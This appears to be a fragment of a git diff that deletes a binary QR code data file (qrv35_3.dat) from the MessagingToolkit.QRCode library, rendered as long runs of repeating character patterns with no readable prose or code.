-GGFFEEDDzz{{||}}>>??@@AA[[\\]]^^??@@AABB::998877vvuuttssKKLLMMNN??@@AABB(())**++QQPPOONNppqqrrss44556677##$$%%&&,,++**))hhggffeeYYZZ[[\\  - - CCBBAA@@~~}}||~~BBCCDDEE __``aabbCCDDEEFF - -66554433rrqqppooOOPPQQRRCCDDEEFF,,--..//MMLLKKJJttuuvvww8899::;;''(())**((''&&%%ddccbbaa]]^^__``!!""##$$ ??>>==<<{{zzyyxxFFGGHHII - -  cciijjkkGGHHIIJJ 221100//nnmmllkkSSTTUUVVGGHHIIJJ00112233 - -IIHHGGFFxxyyzz{{<<==>>??++,,--..$$##""!!``__^^]]aabbccdd%%&&''((;;::9988wwvvuuttJJKKLLMM - - llmmnnooKKLLMMNN..--,,++jjiihhggWWXXYYZZKKQQRRSS44556677 EEDDCCBB~~||}}~~@@AABBCC//001122 \\[[ZZYYeeffgghh))**++,, 77665544ssrrqqppNNOOPPQQ - - - - - - ppqqrrssOOPPQQRR**))((''ffeeddcc[[\\]]^^TTUUVVWW8899::;;AA@@??>>}}||{{zzDDEEFFGG3399::;;!!""##$$XXWWVVUUiijjkkll--..//00 - - 33221100oonnmmllRRSSTTUU ttuuvvwwSSTTUUVV&&%%$$##bbaa``____``aabbXXYYZZ[[<<==>>??==<<;;::yyxxwwvvHHIIJJKK<<==>>??%%&&''((TTSSRRQQmmnnoopp11223344!!""##//..--,,kkjjiihhVVWWXXYYxxyyzz{{WWXXYYZZ""!! ^^]]\\[[ccddeeff\\]]^^__@@AABBCC99887766uuttssrrLLMMNNOO@@AABBCC))**++,,PPOONNMMqqrrsstt55667788$$%%&&''++**))((ggffeeddZZ[[\\]] !![[\\]]^^ !!""ZZYYXXWWgghhiijj``aabbccDDEEFFGG - - 55443322qqppoonnPPQQRRSSDDEEFFGG--..//00 LLKKJJIIuuvvwwxx99::;;<<(())**++''&&%%$$ccbbaa``^^__``aa""##$$%%__``aabb##$$%%&&VVUUTTSSkkllmmnniijjkkllHHIIJJKK 1100//..mmllkkjjTTUUVVWWHHIIJJKK11223344 - - HHGGFFEEyyzz{{||==>>??@@,,--..//##""!! __^^]]\\bbccddee&&''(())!!""## !!ccddeeff''(())**RRQQPPOOooppqqrrmmnnooppLLMMNNOO--,,++**iihhggffXXYYZZ[[QQRRSSTT55667788DDCCBBAA~~}}}}~~AABBCCDD00112233 !![[ZZYYXXffgghhii**++,,--$$%%&&''""##$$%%gghhiijj++,,--..NNMMLLKKssttuuvvqqrrssttPPQQRRSS))((''&&eeddccbb\\]]^^__UUVVWWXX99::;;<<@@??>>==||{{zzyyEEFFGGHH99::;;<<""##$$%%WWVVUUTTjjkkllmm..//0011(())**++&&''(())kkllmmnn//001122 JJIIHHGGwwxxyyzzuuvvwwxxTTUUVVWW%%$$##""aa``__^^``aabbccYYZZ[[\\==>>??@@<<;;::99xxwwvvuuIIJJKKLL==>>??@@&&''(())SSRRQQPPnnooppqq22334455,,--..//**++,,--ooppqqrr33445566 - - FFEEDDCC{{||}}~~yyzz{{XXYYZZ[[!! ]]\\[[ZZddeeffgg]]^^__``AABBCCDD88776655ttssrrqqMMNNOOPPAABBCCDD**++,,--OONNMMLLrrssttuu6677889900112233..//0011ssttuuvv778899::BBAA@@??~~}}||{{\\]]^^__ !!""##YYXXWWVVhhiijjkkaabbcciiEEFFGGHH - - 44332211ppoonnmmQQRRSSTTEEFFGGHH..//0011 KKJJIIHHvvwwxxyy::;;<<==99::;;<<22334455wwxxyyzz;;<<==>>>>==<<;;zzyyxxww``aabbcc$$%%&&''UUTTSSRRllmmnnoojjkkllmmIIJJKKLL 00//..--llkkjjiiUUVVWWXXIIJJKKQQ22334455 - - GGFFEEDDzz{{||}}>>??@@AA==>>??@@66778899{{||}}~~??@@AABB::998877vvuuttssddeeffgg(())**++QQPPOONNppqqrrssnnooppqqMMNNOOPP,,++**))hhggffeeYYZZ[[\\RRSSTTUU66778899CCBBAA@@~~}}||~~BBCCDDEEAABBCCDD::;;<<==CCDDEEFF - -66554433rrqqppoohhiijjkk,,--..//MMLLKKJJttuuvvwwrrssttuuQQRRSSTT((''&&%%ddccbbaa]]^^__``VVWWXXYY::;;<<==??>>==<<{{zzyyxxFFGGHHIIEEFFGGHH>>??@@AAGGHHIIJJ 221100//nnmmllkkllmmnnoo00112233 - -IIHHGGFFxxyyzz{{vvwwxxyyUUVVWWXX$$##""!!``__^^]]aabbccddZZ[[\\]]>>??@@AA;;::9988wwvvuuttJJKKLLMMIIJJKKQQBBCCDDEEKKLLMMNN..--,,++jjiihhggppqqrrss44556677 EEDDCCBB~~||}}~~zz{{YYZZ[[\\ \\[[ZZYYeeffgghh^^__``aaBBCCDDEE 77665544ssrrqqppNNOOPPQQRRSSTTUUFFGGHHII~}|{{OOPPQQRR**))((''ffeeddccttuuvvww8899::;;AA@@??>>}}||{{zz]]^^__``!!""##$$XXWWVVUUiijjkkllbbcciijjFFGGHHII - - 33221100oonnmmllRRSSTTUUVVWWXXYYJJKKLLMMzzyyxxwwSSTTUUVV&&%%$$##bbaa``__xxyyzz{{<<==>>??==<<;;::yyxxwwvvaabbccdd%%&&''((TTSSRRQQmmnnooppkkllmmnnJJKKLLMM//..--,,kkjjiihhVVWWXXYYZZ[[\\]]NNOOPPQQvvuuttssWWXXYYZZ""!! ^^]]\\[[||}}~~@@AABBCC99887766uuttssrreeffgghh))**++,,PPOONNMMqqrrssttooppqqrrNNOOPPQQ++**))((ggffeeddZZ[[\\]]^^__``aaRRSSTTUUrrqqppoo[[\\]]^^ !!""ZZYYXXWWDDEEFFGG - - 55443322qqppoonniijjkkll--..//00 LLKKJJIIuuvvwwxxssttuuvvRRSSTTUU''&&%%$$ccbbaa``^^__``aabbcciijjVVWWXXYYnnmmllkk__``aabb##$$%%&&VVUUTTSSHHIIJJKK 1100//..mmllkkjjmmnnoopp11223344 - - HHGGFFEEyyzz{{||wwxxyyzzVVWWXXYY##""!! __^^]]\\bbccddeekkllmmnnZZ[[\\]]jjiihgfeccddeeff''(())**RRQQPPOOLLMMNNOO--,,++**iihhggffqqrrsstt55667788DDCCBBAA~~}}}}~~{{ZZ[[\\]] !![[ZZYYXXffgghhiiooppqqrr^^__``aadccbbaa`gghhiijj++,,--..NNMMLLKK~}|{{zzPPQQRRSS))((''&&eeddccbbuuvvwwxx99::;;<<@@??>>==||{{zzyy^^__``aa""##$$%%WWVVUUTTjjkkllmmssttuuvvbbccddee`__^^]]\kkllmmnn//001122 JJIIHHGG{{zzyyyyxxwwvvTTUUVVWW%%$$##""aa``__^^yyzz{{||==>>??@@<<;;::99xxwwvvuubbccddee&&''(())SSRRQQPPnnooppqqwwxxyyzzffgghhii\[[ZZYYXooppqqrr33445566 - - FFEEDDCCxxwwvvuuuuttssrrXXYYZZ[[!! ]]\\[[ZZ}}~~AABBCCDD88776655ttssrrqqffgghhii**++,,--OONNMMLLrrssttuu{{jjkkllmmXWWVVUUTssttuuvv778899::BBAA@@??ttssrrqqqqppoonn\\]]^^__ !!""##YYXXWWVVEEFFGGHH - - 44332211ppoonnmmjjkkllmm..//0011 KKJJIIHHvvwwxxyynnooppqqTSSRRQQPwwxxyyzz;;<<==>>>>==<<;;ppoonnmmmmllkkjj``aabbcc$$%%&&''UUTTSSRRIIJJKKLL 00//..--llkkjjiinnooppqq22334455 - - GGFFEEDDzz{{||}}rrssttuuONMLKKJJ{{||}}~~??@@AABB::998877llkkjjiiiihgfedcddeeffgg(())**++QQPPOONN~MMNNOOPP,,++**))hhggffeerrssttuu66778899CCBBAA@@~~}}||~~vvwwxxyyIIHHGGFF~~}}||{{CCDDEEFF - -66554433ccbbaa``cbbaa``_hhiijjkk,,--..//MMLLKKJJ}|{{zzyyQQRRSSTT((''&&%%ddccbbaavvwwxxyy::;;<<==??>>==<<{{zzyyxxzz{{||}}EEDDCCBBzzyyxxwwGGHHIIJJ 221100//__^^]]\\_^^]]\\[llmmnnoo00112233 - -IIHHGGFF{{zzyyxxxxwwvvuuUUVVWWXX$$##""!!``__^^]]zz{{||}}>>??@@AA;;::9988wwvvuutt~~AA@@??>>vvuuttssKKLLMMNN..--,,++[[ZZYYXX[ZZYYXXWppqqrrss44556677 EEDDCCBBwwvvuuttttssrrqqYYZZ[[\\ \\[[ZZYY~~BBCCDDEE 77665544ssrrqqpp==<<;;::rrqqppooOOPPQQRR**))((''WWVVUUTTWVVUUTTSttuuvvww8899::;;AA@@??>>ssrrqqppppoonnmm]]^^__``!!""##$$XXWWVVUUFFGGHHII - - 33221100oonnmmll99876543nnmmllkkSSTTUUVV&&%%$$##SSRRQQKKSRRQQPONxxyyzz{{<<==>>??==<<;;::oonnmmllllkkjjiiaabbccdd%%&&''((TTSSRRQQJJKKLLMM//..--,,kkjjiihh3221100/jjiihhggWWXXYYZZ""!! JJIIHHGGMLKKJJII~~||}}~~@@AABBCC99887766kkjjiicchgfedccbeeffgghh))**++,,PPOONNMM~}|NNOOPPQQ++**))((ggffeedd~~}}||bdQZ|H~fdQbtp˂r`vXnے`JXQfpvJlt`vXnl|Z˂rXQvXn`JXQrpvn˂rXQdrtA`vXnl|ZdQXQJ`ےvpfr˂pnXv`bdQZ|vpfdQbtJ`ےvpfH˂pZXv`fJ`ےJltvpfbtlbHAZH~fZHAbf~HdrtAH~flJtArbHAZp~f`HAbے~HfbHAZpbdQZ|H~fJtArdp˂r`vXnے`JXQfpvJlt`vXnd|Z˂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f~fptbdQXnvdQbt璀rXQJtbdQ˂p`v`f~tbdQZnvpbtlnrXQJtbdQZ`JXQrnXv`bdQZ|vpftlJnXv`bdQZ|HAbےvnXJ`ےvpfHlJtAXv`fdQZ|vpfHvˍpfbAdZ|vnXZ|dpfH~lJtAr`ےbZ|dJXQrfpv|drfH~JtArd`ےHA|dr˂p`f~fpdrtAH~ftArdf~HdrtA`JXQrv`f~fbHAZp~f`rd|~HfdrtAJ~f`H~ㅐfۂdrQt----------------------......................................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_3.dat deleted file mode 100644 index a827705..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_3.dat +++ /dev/null @@ -1,313 +0,0 @@ -{|{|{|{|zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY{|{{{{{{zyzyzyzyxwxwxwvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY|{|{|{{{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY{{{|{|{|zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY{|{|{|{|zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY{|{|{|{|zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijihgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZY{|{|{|{|zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_^]^]\[\[ZYZYZYZY{|{|{|{|zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY{{{{{{|{zyzyzyzyvuvuvuvutstststsrqrqrqponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY|{|{|{|{zyzyzyxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY|{|{|{|{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}|{|{{{{{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgfefefedcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{|{|{|{|xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgdcdcdcccbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{|{|{|{|xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgcccdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{|{|{|{|xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgcdcdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{|{|{|{|xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgcdcdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{|{|{|{{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkhghghghgcdcdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}{{{{|{|{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklkjihghghghgcdcdcdcdbabababa`_`_`_`_\[\[\[\[ZYZYZYZY~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghgccccccdcbabababa`_`_^]^]\[\[\[\[ZYZYZYZY~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutststsrqpopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}|{{{{{|{xwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgdcdcccccbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgcdcdcdcdbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgcdcdcdccbabababa^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgccccdcdcbabababa^]^]^]^]\[\[\[\[ZYZYXWXW~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmlkjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbaba`_`_^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqpopopopolklklklkjijijijihgfefefedccccccd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefecdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefecdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefecdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefecdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefecdcdcccc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefeccdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWXWXWXWXW{{{{{|{|zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[ZYZYXWXWXWXWXWXWXWXW{|{|{|{|zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWXWXWXWXW{|{|{|{|zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopoponmlklklklkjijijijifefefefeccccdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWXWXWXWXW{|{|{|{|zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcbaba`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878734343434212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKKKKKKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878734343434212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;:9:9:98787878734343333212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787873343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCBABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKKKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - XWXWVUVUTSTSTSTSRQRQRQRQNMNMNMNMKKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!    - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873333343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!   - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787873433333321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?>=<;<;<;:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:987878787434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSRQRQPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:987878765434343330/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565333434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#     - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565333333430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPONMNMLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPOLKLKKKKKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?<;<;<;<;:9:9:9:965656565434333330/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?>=>=>=<;<;<;<;:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVUTSTSRQRQPOPOPOPOKLKLKLKKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - VUVUVUVURQRQRQRQPOPOPOPOKKKKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - 